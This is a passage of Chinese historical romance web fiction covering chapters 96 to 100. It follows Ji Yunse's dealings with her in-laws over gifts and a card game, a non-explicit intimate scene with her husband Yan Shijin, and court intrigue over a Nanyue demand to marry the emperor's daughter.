万氏没想到这姑娘会直接不搭她的腔,的确有老太太所言,一点儿规矩都不懂的模样,顿时脸色是真的拉了下来。 况她一个晚辈给长辈送礼,也断没有如此说话的道理,什么叫不满意再换? 既知长辈可能会不满意,为何不一早打探了她的喜好,直接送让她满意的东西过来? 但又不好直接发作,跟这样一个不懂事的晚辈计较,不是显得自己也掉价了么? 万氏面色不甚好看地依她所言,打开了匣子。 霎时,一片金灿灿伴着翠绿的光亮映入眼帘,差点闪痛了她的眼睛, “这…这……” “太贵重了吧?” “这怎么好……” 话是如此说,但手却情不自禁地抚了上去,待刚碰到那抹翠时,又倏的停住,生怕摸坏了,面上的表情再也无法控制,笑出了几道眼纹: “哎呀,云瑟呐!” “你说你,让你来说说话,你人过来了就是,还带着东西。” “如此破费,我怎么好收?” 纪云瑟将她所有的表情收入眼底,笑道: “这套赤金累丝嵌双翠头面,是儿媳的姨母送的陪嫁,儿媳自觉年纪太轻,配不上这样的雍容气度,想着只有婆母您合适,便送来了。” 她从晏时锦的口中,和那日向陈嬷嬷打听到的消息猜到,万氏这些年虽面上管家,但受精明强势的老太太辖制,并没有给她太多的权力,甚至很多大项的支出,都得老太太亲自过问。 而她本出身不高,自己也没多少嫁妆,故而只是表面上的国公夫人光鲜模样,实则过得比普通官眷还要拮据。 这套价值千两的六件头面,自是一下就送进了万氏的心坎里,庄氏交待她的一句也说不出来。 纪云瑟见她一直小心轻抚着上面嵌着的翡翠珠子和点翠鸾鸟,试探道: “儿媳替婆母簪上瞧一瞧?” 万氏颇有几分不好意思: “这如何使得……” 纪云瑟命陈嬷嬷将不远处的铜镜取来,放在万氏面前的炕桌上,又替她一支一支簪在发髻上,万氏瞬间将矜持都抛到了九霄云外,笑纹藏不住: “如何?” 纪云瑟深深感叹道: “太适合您了!” “婆母您平日里忒朴素了些,您看您生得美,气质又清雅华贵,就该好好装扮装扮!” 万氏拿起铜镜左瞧又瞧,没有更满意的了,不得不感叹,这媳妇真是太贴心了! 怎的自己的亲儿媳没一个有这样的孝顺心思? 纪云瑟坐回了原位,又顺口夸赞了她几句,方饮了口茶,似突然想起了什么,问道: “对了,婆母,您刚刚要跟儿媳说什么?” 万氏愣了愣,随即一脸慈爱: “嗨,说什么?” “还不就是要嘱咐你这孩子,刚进咱们府里别拘着,想吃什么玩什么,或是丫鬟婆子们伺候得不好,只管来告诉我,莫要委屈了自己。” 第97章 按大缙的律例,官员成婚皆有婚假,不同的品阶至少也有三日。 但第三日一早,晏时锦就被紫电请了去衙门。 纪云瑟终于松了一口气,再这样两人成日腻歪在一处,她要先吃不消了。 夜里就罢了,青天白日的,也能不知不觉的就滚到了床榻上,虽说沉浸其中时趣味不少,但太过频繁总是对身子无益。 效猗一面给她梳妆,一面回答她问的话: “姑爷还是那个时辰就起了身,奴婢怕他要人伺候,听见动静也跟着起来,但姑爷只在院子里耍了半个时辰剑就去了外边书房。” 纪云瑟道: “他早说过,洗漱沐浴什么的他都会在书房,那里有伴吉和伴祥伺候,下回,你们不用跟着早起了。” 夜里崇陶和效猗还得服侍她沐浴,晚睡早起的,谁能熬得住? 话说,晏时锦那厮的体力也忒好了些吧?这些天每日还不够他累的? 竟然早起还练武? 纪云瑟不禁撇了撇嘴。 效猗应了声,看着铜镜中的自家姑娘,有些欲言又止。憋了半日,替她绾好发髻簪了几支珠钗后,还是鼓起勇气,道: “姑娘,原本昨日,是该您回门的日子。” 纪云瑟正在试着手中的一盒新胭脂,平静道: “不必了。” 效猗微微叹了口气,也不好再说什么。她是章齐侯府的家生婢女,父母虽已不在世,但纪家毕竟是她的本家,不比崇陶是当年夫人去世后,扬州送来陪伴姑娘的。 她又一直在老太太跟前长大,亦是希望姑娘出嫁后,能回去祠堂给老太太磕个头,报个平安。 但她也能理解姑娘,这些年姑娘在家中的境遇她一一看在眼里,否则,姑娘也不至于假死出逃。 纪云瑟看出了她的心思,拍拍她的手,道: “你放心,祖母不会怪我的。” 效猗点点头,也不再提这一茬,又问道: “今日,姑娘还过去太太那边摸骨牌么?” 纪云瑟挑了挑眉: “去。” 正好崇陶拿了衣裳过来,不免嘟囔道: “姑娘还去呢?” “昨儿个下午您只去了小半日工夫,输了一百多两。” 纪云瑟道: “那今日就多带些银子去。” 崇陶: “……姑娘,您……” 她明白这是姑娘趁机向太太和几位少夫人示好,但每次都这样输,金山银山也能输个干净。 姑娘是世子夫人,何必如此讨好她们? 纪云瑟向她笑了笑: “我心里有数,你带上就是。” 用了早膳后,她便收拾了一番,带上崇陶和陈嬷嬷去了正房。如同昨日一样,径直去往万氏那儿,一进门,先向万氏道了安,又与她下手坐着的薛氏和成婉思见礼。 万氏笑盈盈地向她介绍与她相对而坐的另外两个中年妇人: “云瑟 ,这是你二婶,三婶。” 纪云瑟闻言,恭敬地施了礼。 二人细细打量了她一番,皆赞: “不错,模样好,又是个端庄识礼的。” 纪云瑟抚着脸颊含羞道: “二位婶婶过誉了。” 万氏笑道: “是呢,连老爷也夸这孩子好,我更是喜欢得紧。” 说着,让纪云瑟坐在她一旁的圈椅上,拉着她的手不住地摩挲,一副婆慈媳孝的模样。 纪云瑟不禁感叹姨母从前说过的一句话:能用钱解决的事,都不算事儿。 这位婆母自收了她的重礼后,昨日给她组了牌局让她与几个弟媳表示亲近之意,今日又把晏时锦的两个嫡亲婶婶叫了过来当面夸她一通,真是有钱谁都愿意推磨。 照例说了几句恭维的话后,纪云瑟有些诧异地问道: “咦,怎的不见四弟妹和五弟妹?” 万氏道: “她们今日有些事,就不过来了,有二婶和三婶在,咱们一样玩。” 昨日就数老四和老五家的两个赢得多,加起来少说有百多两银子,万氏自己和两个亲儿媳最多赢了个零头,今日说什么也不想让她们俩再跟着沾光。 纪云瑟故作惧怕地摆摆手,道: “我还是看你们玩儿吧,昨日输了这样多,回去就被世子教训了,说我笨。” 万氏一面张罗着大伙儿起身到摆好了牌的八仙桌那儿去,一面拉着她,笑道: “胡说!” “子睿最疼你了,哪舍得说你?” 见她僵着就是不肯上桌,又劝道: “不怕,一回生二回熟,昨儿个是因你第一次玩,还没摸着门道,今日再玩一次,就清楚了。” 纪云瑟见实在拗不过,只得道: “好吧,今日儿媳可不敢胡乱推牌了。” 又将万氏身旁贴身服侍的李嬷嬷拉过来站在自己身后,道: “嬷嬷您有经验,待会儿要帮我瞧着点儿。” “否则,恐怕今日我这匣子里的银子,恐怕又保不住了!” 说着,往身后崇陶手里一指,万氏三妯娌相视一笑。 万氏便与李嬷嬷道: “也好,你好好帮大少夫人看着。” 薛氏素来端稳持重,不怎么说话,只静静地瞧着。 成婉思不屑地看了一眼纪云瑟,十分见不惯她惺惺作态的模样。 若不是她横插一脚,坐在这儿的应该是自己的长姐成婉清,不过就是凭一张脸,又惯会溜须拍马,绣花草包一个! 才刚开始的几局,纪云瑟依旧是胡乱看牌,胡乱推牌,她身后的李嬷嬷实在是看不下去,只得出言提醒她,万氏也瞧不下去了,道: “记得提点着。” 纪云瑟看了一眼匣子里又去了约莫一半的碎银,似下定决心一般,十分认真地听劝,小心翼翼的出牌。 喝了几盏茶后,万氏三妯娌脸上的笑容越来越淡,三房的甄氏皮笑肉不笑道: “这孩子就是聪慧,不愧是子睿的媳妇,这才多久,不仅把本钱赢了回去,咱们还输去了不少!” 二房的岳氏也一脸不信: “可不是?” “你真的是刚学的?” 纪云瑟忙拉着身后的李嬷嬷笑道: “我这还一头雾水呢,多亏了婆母派嬷嬷替我看着。” 李嬷嬷讪讪一笑,有些逃避万氏瞧过来的目光,道: “哪里哪里,是大少夫人自个儿聪明,学得快!” 不多时,众人瞅着纪云瑟的小匣子都快装满了,连哭的心都有。输的最惨的甄氏和岳氏觉得自己就是被万氏婆媳设了局,哪有这样赢钱的? 从前,她们也常在一起摸骨牌,都是各人输赢相当,至多出入个几十两到了顶,可今日,那新媳妇的匣子如同长了手一般,招唤几下,便把她们的钱袋子掏了个空不算,还欠着不少数儿。 纪云瑟见这番景象,估摸着她这位婆母日后不敢再找她摸牌了,见好就收,往崇陶的手里瞧了一眼,故作惊诧道: “哎呀,两位婶婶太客气了,如此让着我,多不好意思?” “哪有……” 甄氏和岳氏勉强挤出一抹笑,多余的客套话再也说不出来。 万氏虽没怎么输,但见这番景象,不得不陪笑道: “我倒想起来,那边园子里的桂花开得极好,咱们坐了这许久,不如出去走一走,赏赏花儿?” 又向一旁的婢女道: “前几日让她们做的桂花蜜今日应该可以吃了,吩咐做些桂花酥酪给两位婶子尝一尝。” 甄氏和岳氏松了口气,纪云瑟瞧着那多出来的碎银,自是笑得合不拢嘴,忙拉住欲走的李嬷嬷,道: “这都是嬷嬷在一旁教我的功劳。” 她吩咐崇陶道: “你算一算今日赢的,分出一半给嬷嬷。” “我可不能一个人占了。” 几人皆是被她的这番操作惊诧得合不拢嘴。 成婉思默默轻哧一声,腹诽道:果然是个绣花枕头,这不是把婆母拉下水了么?倒像是她们俩一早商量好的,讹了两位婶子的钱来均分呢! 连万氏也蹙了蹙眉头,看着她一脸憨样儿,又不好多说什么,忙道: “这如何使得?” “牌桌的规矩,是你赢的,就是你的,哪有与人分的道理?” 李嬷嬷也赶紧摆摆手,立马要撇清: “大少夫人说笑了,老奴…老奴也不过是提醒了一两次而已,都是您自个儿学得快!” 纪云瑟哪里肯放过她,这边崇陶已经大概看好,也不称,直接多拿了一些放入一个钱袋内,不由分说就塞入李嬷嬷的手里。 甄氏和岳氏对她们的假意推让实在看不下去,对视了一眼,起身异口同声向万氏道: “大嫂,我们想起府里还有些事,先走一步。” 说罢,立刻扶着婢女的手掀了帘子出去,万氏心急追了上去,见二人脚步快,只得在后边吩咐婢女: “快去,好生送出去。” 纪云瑟知此地不宜久留,便以需给晏时锦准备午膳为由,匆忙向万氏告辞,溜之大吉。 清珩院里,效猗听了崇陶描绘了今日的一番场景,也忍不住捂嘴笑,直言自家姑娘太促狭了些,明明她自幼在扬州就跟苏二小姐学过摸骨牌,简直算是有了童子功。 昨日听她输了,便知她是故意让着那几位,谁知今日又这般来个反转,细思一瞬,效猗不由得担心道: “太太不会对姑娘您有什么不满吧?” 崇陶在一旁笑道: “姑娘分了大头给她,还有什么意见?” 不仅没意见,这位婆母还得想法子替自家姑娘周全,不过就是,觉得自家姑娘憨傻不通人情,日后恐不会轻易寻她了。 “不过,” 崇陶有些担忧,道: “您昨日特意输给了四少夫人和五少夫人,奴婢瞧着,正房的两位少夫人似不大高兴呢!” 特别是三少夫人,从来对自家姑娘都是冷着脸。 纪云瑟毫不介意,道: “不用管这些。” 万氏算是她的婆母就罢了,其他人,她才没那些闲工夫理。 晏时锦派人来回说衙门里有事,需晚些回来,纪云瑟用了午膳后便沉沉地睡了一觉,终于解了这几日日夜没睡好的乏。 日暮西垂,她正准备起身到园子里走一走,却见陈嬷嬷匆忙过来,面露几分异色,道: “夫人,门房来报,说是有人在垂花门外想见您。” 第98章 待陈嬷嬷吞吞吐吐地说出是谁,纪云瑟直接摆摆手: “不见,打发人好好送她回去吧!” 陈嬷嬷应声离开。崇陶轻哧了一声: “从前姑娘在家时,夫人从未管过您,如今见您真的成了世子夫人,倒上赶着黏来了!” “她是不是忘了,当初是谁和侯爷商议,要让您给姑爷做小妾的?” 效猗瞧着自家姑娘平静的脸色,叹道: “奴婢听说,二姑娘如今的日子也很不好过。当日她原本瞧上了涟亲王世子……” 纪云瑟蹙了蹙眉,崇陶倒是立刻反应了过来: “怪不得呢!那段时日,二姑娘总是抢姑娘您的衣裳首饰,奴婢还说,明明太后娘娘赏的好料子都上了她的身,怎的还要您的旧衫裙,原来是仗着容貌跟姑娘您有两分相似,想打扮成您的模样,去勾引涟亲王世子!” 效猗看了一眼摇头感叹的纪云瑟,继续道: “却不知怎的,又和孟家五郎搅合在一起,还在光天化日之下,被人撞破了私情!二姑娘稀里糊涂的有了身孕,可孟家说她不检点,谁知是哪来的野种,就是不肯认。” “直到孩子生下来,滴血验了亲,孟家才允二姑娘进门做了个良妾。” 说道孟五郎,纪云瑟大致能猜到几分缘故,他因流连烟花柳巷被赵如昕退婚,那时整日缠着赵如昕,或 许就是因此,认识了想攀赵峥的纪云惜。 纪云瑟虽不喜这个妹妹,却也不免为她唏嘘,作到这般田地,除了她的愚蠢贪心作祟,也得怪纪筌和魏氏太过纵容娇惯这个小女儿,一直护她在羽翼之下,倒让她不知世道险恶,更没有识人之明。 “还有,” 效猗默了默,继续道: “侯爷原本在织造局的差事,也没了。” “如今换去了一个清水衙门,府里的日子该是过得十分艰难。” 崇陶轻哼一声: “那又如何?与姑娘什么相干?” “姑娘走时没带走侯府的一片瓦,还把不少体己银子留了下来。” “别的不说,太后娘娘赏给姑娘的料子首饰,少说也值千两,这么些年,又有先夫人的百万嫁妆,还不够还侯爷一个养育之恩么?” 纪云瑟如今听到这些话,内心已经毫无波澜,她不想,也没有必要再与她那对无良的父母虚与委蛇。 陈嬷嬷回来复命,说已经派马车送魏氏回去。纪云瑟只觉心情烦闷,便道: “我出去走一走。” 泽辉园是个新式的园子,偏江南园林的构造,但亭台池榭不算密集,故而显得空旷辽阔,初秋时节处处是桂花,逛了一会儿,倒是心情好了许多。 崇陶陪着她,二人不知不觉就往西面走了,快到西角门时,崇陶笑道: “姑娘还记得么?” “那年,奴婢就是从那儿偷溜进来,给您送衣裳的!” 回忆起来,互相打趣了一番,正要往回走,忽的见一个人影从角门处进来,窜进了一旁的抄手游廊,身着沙青长袍,身材高瘦,却又似佝偻着背,蹑手蹑脚地往前迈着步子。 晏府的门禁森严纪云瑟早就体验过,不可能放什么可疑之人进来,这会子见那人有些鬼鬼祟祟,不禁停下了脚步看过去。 待那人看见了她们主仆俩,也是愣了愣,将手里的什么东西往后一藏,换了个勉强的笑意迎了上来: “长嫂。” 正是老三晏时钰。 “原来是三弟。” 纪云瑟向他颔首,又微微侧头想瞧他放在背后的手上究竟拿着什么东西,一面问道: “你这是……从哪里回来?” 晏国公府传承素来严谨,一直由嫡长子承袭爵位,其他子孙皆是要凭自个儿的本事,或是考取功名做文官,或是去疆场历练,取得军功后任武官。 老二晏时钦考中了进士二甲,如今在户部任郎中,老四也是进士,在鸿胪寺任少卿,老五从小被晏徇扔去了军营,如今在京郊大营任千总。 只有老三晏时钰,据说是早产,自小身子骨不好,万氏心疼得紧,舍不得让他寒窗苦读,直到近十来岁时,晏徇威胁说是再不肯读书就送他到边关跟着晏时锦上阵杀敌去,万氏才无奈请了先生,真正开始教他正经读书,去年勉强中了个秀才。 见他科举无望,晏徇只得在国子监给他寻了个打杂的营生。 晏时钰也乐得自在,每日与监生们打成一片,常常一同宴饮。 他甫一靠近,纪云瑟便闻到了一股浓烈的酒气,大约猜到了他不敢走大门的缘故。 晏时钰憨笑一声,答道: “我…刚从衙门里回来。” “衙门里?” 纪云瑟明显一脸不信。 见她的目光总是探询着看向自己的身后,晏时钰也不藏了,直接将手里的东西拿出来,坦诚道: “对,从衙门散值回来,又与两个同僚一同在旁边的月樽楼坐了坐。” 他晃了晃手里的小酒坛子,皱了皱眉故作埋怨道: “散席时,他们硬要我将这没喝完的女儿红带回来,您看,我这…” “我这实在拗不过,只得…” 纪云瑟曾听陈嬷嬷无意中提起过,似乎这位三郎被自家媳妇管得紧,却也没想到是这番模样,不禁捂着嘴淡笑了两声。 两人擦身而过时,晏时钰近前一步,悄声道: “今日见着我之事,望长嫂千万莫说与长兄知道。” 纪云瑟没料到他也怕晏时锦,忙点头应声: “好,我不说。” “你自己小心些。” 晏时钰如释重负地点头答应,待目光往前一瞧,脸上刚刚绽开的笑意顿时凝滞,两只手又飞快地藏在了身后。 纪云瑟看他神色有异,还未反应过来,却见自己的手上已经多了个酒坛子。 纪云瑟:“……” 一旁的崇陶也瞪大了眼睛,身后已经响起了“罪魁祸首”的声音: “呦,大哥,今日回得这样早?” “是来寻长嫂的么?” 晏时锦蹙了蹙眉: “你在这里做什么?” 晏时钰不敢离他太近,迈步上了一侧穿山游廊的台阶,陪笑道: “我…交待小厮出去买几件物什,偶遇长嫂,聊了两句。” “大哥,没什么事的话,我…我先回去了。” 晏时锦无暇理他,向纪云瑟走去,刚要说话,却见她手里拿着个酒坛子,挑了挑眉: “这是……” 纪云瑟十分无奈,但见晏时钰在廊下杀鸡抹脖子地朝她使眼色,顿了顿,只得道: “我…突然想喝酒,就让崇陶出去给我买的。” 崇陶目光扫过晏时钰,看向自家姑娘,立马捣蒜般的点头: “是这样,姑爷。” 晏时锦一脸不信: “买的?” 他往身后瞧了瞧,见晏时钰脚底抹油慌不择路的背影,接过她手里的坛子,搂着她往回走。 纪云瑟暗自腹诽,这厮到底对他三弟做了什么?竟然见他如耗子见了猫儿一般? 不过既然平白得了坛酒,她也乐得自在,晚膳时就直接放在桌上,吩咐陈嬷嬷去取两个酒盏。 陈嬷嬷悄悄觑着晏时锦的神色,直到纪云瑟再次催她,才慢腾腾地送来。 他们都没有让人布菜的习惯,崇陶效猗几人也就跟着陈嬷嬷退下,一同在小厨房里用膳。 纪云瑟斟了两杯酒,闻了闻,一阵酒香,不由道: “这酒真不错。” 她饮了一口细品着,甘醇过后,还有些后劲儿,又道: “至少是十五年以上的陈酿。” 晏时锦眸光黯了黯: “你倒是很懂?” 纪云瑟直言道: “从前也不懂,这几年跟着姨母,她教了我不少。” “要说这女儿红还不是最烈的,若是有烧刀子,就着这些硬菜,才真是美味呢!” 她吃了口糟鹅掌,将杯中的酒饮尽,才发觉身旁的男子并未动筷子,诧异道: “你怎么不吃?” 晏时锦蹙眉: “我从不饮酒。” 又将她的酒盏拿过来,道: “这不是好东西,你也不许多喝。” 纪云瑟立刻抢回来,道: “你不喝,还不让别人喝,我偏要喝!” 她又倒了一杯,见这厮的神色愈发不好看,酒意上来的少女并不打算放过他,将酒盏在他面前晃了晃,歪着头道: “你真不喝?” 晏时锦撇开头: “不喝。” 他从军营到官场多年,见过太多因酒误事的实例,深知其害,故而从不沾染。 他抢过她的酒坛,幽幽道: “是三弟给你的酒吧?” “你怎地会让他替你买酒?” 纪云瑟自知瞒不了这厮,但自己既然替老三遮掩了,也断没有背地里又出卖他的道理,只得另想法子糊弄过去。 她眨了眨眼,并不接他这话,端着酒盏靠近凝视他: “你是不会喝还是不想喝?” 晏时锦实在被她气着了,找别的男子喝酒就算了,还在这儿耍酒疯!他正要开口,却见她满饮了一口酒后,整张脸贴了过来,唇瓣附上,酒水瞬间顺着她的舌尖灌了过来。 晏时锦: “……” 毫无防备的热辣滚过咽喉,他被呛得撇开脸,咳嗽了几声。 纪云瑟瞪大眼睛似不认识他一般: “……真不会喝呀!” 她吐了吐舌,给他递来一杯茶,晏时锦胀红着脸接过来饮尽,方止住了咳嗽。 纪云瑟刚要起身溜走,已经被男子一把抱在了怀里,擒住她浸染着红晕的唇瓣,强势侵入,捉着她不安分的小舌尖狠狠惩罚了一番,直到她透不过气来,小脸憋得通红,双手一直往外推他,才松了松唇舌,齿间滑出几个字: “下回敢不敢了?” 纪云瑟抚着微肿的唇瓣摇头: “不敢了……” 晏时锦捏了捏她的脸颊: “不敢什么?” 纪云瑟弱弱道: “不敢给你喂酒了……” “还有呢?” 男子见她并没有意识到自己的错误,又袭来一阵狂风骤雨,少女连连讨饶: “还有什么?” “不许和别的男子饮酒!” 纪云瑟暗自腹诽,她哪有跟晏时钰喝酒,而且,那是他三弟,又不是外人。 但很明显,这厮根本不讲道理。好不容易抓住了她小辫子的晏时锦以她不听话为由头,直接将人儿抱进了里屋,放在罗汉床上。 陈嬷嬷已经用了膳,先行过来看看夫妻俩需不需要准备茶水和净手的帕子,在堂屋外正要抬手叩门,冷不丁听见了不远处紧闭的支摘窗传来的动静,霎时顿住,神色复杂。 这个时辰,在这里? 莫不是,自家世子爷真喝了酒?已经醉了? 她慌忙回了小厨房,先拖住崇陶和效猗别急着过去,又吩咐粗使婢女们备着热水准备主子沐浴。 纪云瑟怀疑这厮真的被她灌醉了,否则为何比往日还霸道几分,她双腿被死死钳住,动弹不得,极致缠绵的吻落下,少女再也说不出一句完整的话。 第99章 窗棂透着屋外隐约的树影,还有偶尔的雀儿叫,和轻微的脚步声,少女只得咬着牙不露出一丝嘤咛,男子却不肯放过她。 细碎的酥痒从唇瓣滑至颈侧,至起伏的山峦上下来,逡巡探幽,始终拿捏着不想给她痛快。 直到她带着一丝怒意颤颤地在他肩膀留下齿印,晏时锦才轻笑一声,奔山赴海成全了她。 纪云瑟自行抽身,转身又想去咬他,却被搂紧,将她唇齿间的忿闷一一吞下,最后轻啄了一口她的下唇: “这是罚你为了替别的男子周全,敢色诱你夫君!” 纪云瑟: “……” 终是晚膳也没吃成! 第二日清晨,纪云瑟是被咕咕乱叫的肚子吵醒的。 她皱了皱眉,把搭在她腰上的手一把拿开,却又被晏时锦捞回了怀里,他看了一眼微亮的天光,道: “还早呢,再睡一会儿。” “都怨你!” 纪云瑟虽有些饿,但也确实困,嘟囔了一句,又枕着他伸过来的手臂阖上了眼。 男子将她额前的碎发拨开,拢到耳后,忽的瞧见她耳下颈侧的红痕,团团簇簇,深浅不一,犹是这几日留下的痕迹,不禁抚了上去。 曾经,他也对那些不加节制纵欲之人嗤之以鼻,却不知有一日自己会沉溺其中。 就如此刻,理智告诉他不能继续,但欲念却想与少女融为一体。他低头吻了吻她的额心,压抑住心底翻涌的躁动。 半个时辰后,纪云瑟被男子低沉的声音唤醒:“该起了,醒来吃些东西。” 她眯蒙着眼,不耐道:“别吵。” 晏时锦无奈,只得轻轻捏了捏她的腰,轻哄道: “今日有事,你回来再睡可好?” 见她侧过身手又伸入了枕头下,他五指撑开顺着她的乌发,直言道: “皇后今日召了你入宫。” “莫要耽搁了。” 纪云瑟终于睁开眼,愣了愣,一拳捶了过去: “你也不早说!” 几乎是立时就清醒了过来,她立刻吩咐了崇陶和效猗进来伺候更衣洗漱。两个婢女已经对这夫妇俩的作息颠见惯不怪,也不多问多言,只低着头来回忙碌。 晏时锦披上外衫先去了外书房,二人用过早膳后,一同上了候在门外的马车。 纪云瑟有些诧异: “你跟我一道去么?” 晏时锦道: “我到西华门下,正好陛下召我早朝后觐见,他们再送你到顺贞门,回府亦是一样。” 纪云瑟答应着,马车沿着宫墙边走,很快到了顺贞门,早有凤仪宫的女官等在那儿,看见是晏国公府的马车,上前向踏着脚凳走下来的纪云瑟微微行礼,道: “娘娘命奴婢在此等候夫人,夫人请随奴婢来。” 纪云瑟颔首,跟上了她的脚步,进了宫门就是御花园,秋菊开得正盛,红枫绚目,银杏镶金,都是熟悉的景致,似乎没有一丝变化,不过是她如今的心境不一样。 绕过千秋亭,她正细看着园中的秋景,却见远处花坛中的卵石径上,有一道熟悉的俏丽身影快步走来,纪云瑟顿了顿脚步,淡然上前屈膝施礼,道: “见过公主殿下。” 她没料到,入宫看到的第一位故人是曦和公主。几年没见,看起来倒似没什么变化,她亦听闻一年前厉书佑已与赵如昕定亲,这位公主便没有再许人家。 赵沐昭行色匆匆,一路与身后的玉拂说着话,直到听见熟悉的声音唤她,才转头看到了纪云瑟,她停下脚步皱了皱眉,玉拂率先反应过来,微微行礼道: “世子夫人。” 赵沐昭飞快往脸上抚了抚,轻哧一声,嗓音却有些沙哑: “本宫当是谁呢!” “原来是‘死而复生’的纪大姑娘!…哦不…” “如今是世子夫人了!” 纪云瑟淡淡一笑,自行起身,道: “多谢殿下一直挂怀臣妇。” 她抬起头,却见赵沐昭的眼睛红肿,明显是刚刚哭过,身量也似乎清减了许多,正诧异间,赵沐昭轻哼一声,道: “你可真有本事呐!” “那样大的火也能逃脱,还有什么女贼当替死鬼。” “别以为本宫不知道你玩什么花样!” 她不想管这臭丫头耍的什么把戏,但当年却实实在在因为此事被父皇训斥了一顿,还停了她一年的食实封。 事已至此,纪云瑟只能和稀泥: “臣妇不敢。” 赵沐昭却意外地没有再咄咄相逼,只收回不耐的目光,拂袖离开。 纪云瑟与女官二人行礼目送她,继续往前走。快到凤仪门时,有一道熟悉的清瘦身影立在龙爪槐下,纪云瑟笑着上前向他招手: “夫子!” 沈绎颔首回应了她的微微屈膝,笑道: “如今,我可不敢受你的礼了。” “夫子莫要取笑我。” 纪云瑟无奈一笑,道 “真巧,在这遇上您。” 沈绎道: “不是巧,是我听闻今日你会入宫,特地在此等你。” “正好,我也去向娘娘请脉。” 二人并肩同行,他细细打量了她一番,道: “怎的最近没睡好么?” 纪云瑟抚了抚脸颊,扯出一抹笑,敷衍道: “还好。” 忙转移话题问起了孙雪沅的近况,沈绎道: “娘娘胎象一切都好。” 纪云瑟放下心,有她这位夫子看着,自是不会有什么问题,闲话了几句后,又说起她见到赵沐昭的事,直言这位公主看起来似有些变化,至少若换了从前,是不会这样轻易饶过她。 沈绎侧头问她: “你没听说么?” “南越使臣入京,直言要替南越王世子求娶陛下的亲生公主,下嫁和亲。” 纪云瑟怔了怔: “和亲?公主?” 永安帝的亲生公主只有三个,而其中到了婚嫁年纪的就是赵沐昭。 纪云瑟立刻道: “陛下会同意么?” “就算陛下有这个想法,夏贤妃定然不会允许唯一的亲生女儿嫁到蛮夷之地。” 沈绎却是摇摇头,道: “这回,你倒是猜错了。” “恰恰相反,陛下虽历来推崇以文治国,以和固邦交,但却从未想过用女子换取边境安宁。” “更何况那是他的长女。” 纪云瑟听出了他的其他意思: “你是说,夏贤妃同意了?” 沈绎看着近在咫尺的凤仪宫,只道: “到了,先见了皇后再说吧。” ~ 勤政殿,明黄色的帷幔垂落,龙案上的鎏金龙纹三足熏炉青烟直上。 晏时锦和羽林卫统领谢绩垂手立于殿中。 永安帝一只手捏着发紧的眉心,一只手甩着手中的菩提子,指了指案桌上的一封奏疏,向晏时锦道: “今早南越使臣刚送上来的,你瞧一眼。” 江守忠将奏疏躬身递了过去。 晏时锦飞快看毕,皱眉道: “他们竟然去了辛苦收集证据,说曦和公主的婚约不算数?” 永安帝眸色沉厉: “这根本不是算不算数的问题。” “南越向朕求娶公主,朕不答应,并且以唯一适龄的公主已有婚约为由拒绝了他们,他们就该明白朕的意图。” “而且,朕已经许诺了他们,可以适量减少每年的朝贡,他们要的麦黍等粮食,朕也可以额外多给一些。” “可他们却偏要纠着曦和不放,放弃朕许他们的丰厚条件,执意只要朕的女儿。” 晏时锦道: “陛下的意思是,他们有别的企图?” 永安帝向后坐了坐,道: “事出反常必有妖!” 谢绩道: “会不会是因为先帝曾嫁公主入北齐,故而也想效仿?” 话刚说完,瞧见晏时锦飞过来的眼刀,谢绩自知自己说错了话,忙闭上了嘴。 晏时锦忙道: “先帝当年是因连年征战导致国库空虚,那年与北齐对战时因军粮不足而溃败,不得已以亲生公主和亲做为议和的砝码,换取数年的喘息之机。” “而陛下登基以来,止戈养息,如今国库充盈,兵强马壮,战事已骤减。更何况,南越如何与北齐相提并论?” “大缙如今连北齐都不惧,更何况国力要弱许多的南越?” “他们凭什么效仿?” 南越一带皆是连绵的峻岭,瘴林密布,气候湿热,毒虫瘴气肆虐,故而子民本不多,且又因交通不便,划分了许多小的部族,各自为政,素来不敢与大缙抗衡。 这一任的南越王哪怕是征服了各部族,也是与大缙交好,奉大缙为宗主国,俯首称臣。 永安帝道: “朕就是这个意思,南越王根本没资格向朕提这样的要求。可他们如今不仅提了,还一副志在必得的模样。” 晏时锦抱拳道: “臣明白了,臣立刻去查南越使团的底细,务必摸清他们的真实企图!” 永安帝颔首,目光深邃如渊,沉声道:“朕身为天子,若是连自己的女儿都护不住,谈何去护大缙的子民?” 晏时锦和谢绩步出勤政殿,紫电和青霜跟了上来,谢绩问道: “指挥使,您看,这事该如何查?” “是否需要属下将布于驿馆的暗卫找来?” 晏时锦却道: “你刚才在路上与我说,夏贤妃有松口的意思?” 谢绩点头,道: “不过,这也不奇怪,指挥使您下江南一趟,将夏氏在朝堂上的势力斩了一半,连蔚王都被陛下训斥,夺了他照管户部和工部的权力,夏贤妃为了重获圣心,牺牲一个女儿,也是情理之中。” 晏时锦却摇摇头,道: “不会这么简单!” 虽说弃卒保帅是人之常情,但夏贤妃会仅仅为了重获圣心那点虚无缥缈的荣宠,牺牲唯一的女儿? 以晏时锦对她的了解,根本不可能! 除非…… 她能换取更大的利益! 晏时锦沉吟片刻,向谢绩道: “这段时日,你在宫里,派人盯紧夏贤妃。” 又吩咐紫电和青霜: “你们去查一查,近日南越使团有没有私下接触过夏氏的什么人。” 第100章 进入凤仪宫门,原本候在主殿檐廊下的丁香先迎了上来,看到纪云瑟,辨认了一瞬,立刻扑过去抱紧了她: “姑娘,您真的没死!” “奴婢那年听说您在火中……” 随即松开上下打量她,连手指都一根一根仔细看了看,终于破涕为笑: “您没事就好!” 纪云瑟被她的模样逗乐了,用袖口给她擦去泪珠子,道: “傻丫头,你如今是皇后娘娘宫里的管事姑姑,还这般爱哭,也不怕人笑话!” 二人进入殿内,孙雪沅看见了她,颇有些激动地从贵妃榻上起身走过来: “云瑟……” 她将要行叩拜大礼的纪云瑟扶住,细细端详了一番,见这位好姐妹身上并无伤痕,容貌亦无变化,方放下了心,拉着纪云瑟往东侧外间的贵妃塌上一同就座。 纪云瑟不肯,却禁不住孙雪沅一再相让,只得无奈坐了。因问起当年如何从火中逃生,纪云瑟只得按晏时锦的交待,说是因三个女贼听说灵岩寺来了许多贵女,故而深夜偷潜入寺中欲抢劫财物,正好翻入她所在的禅房。 不料几人在推扯下碰翻了油灯,引燃了大火,幸好她的两个婢女机灵,用发簪刺伤了其中一个女贼,三人脱身。后因房门火势太大,她们只得翻出后窗逃离,却一不小心掉落了悬崖。 万幸的是,她们主仆三人挂在一棵大树上,被路过的猎户发现,救了回去,待养好伤,却听到京城传来的消息,说是纪府已经给她办了葬礼。 “只因之前听父亲说起要让我给世子做妾室,我便不想再回家,径直去往扬州找了我姨母。” 孙雪沅拉着她的手,十分理解她的处境,劝慰道: “还好,一切都过去了。” “看得出来,世子很在意你。” 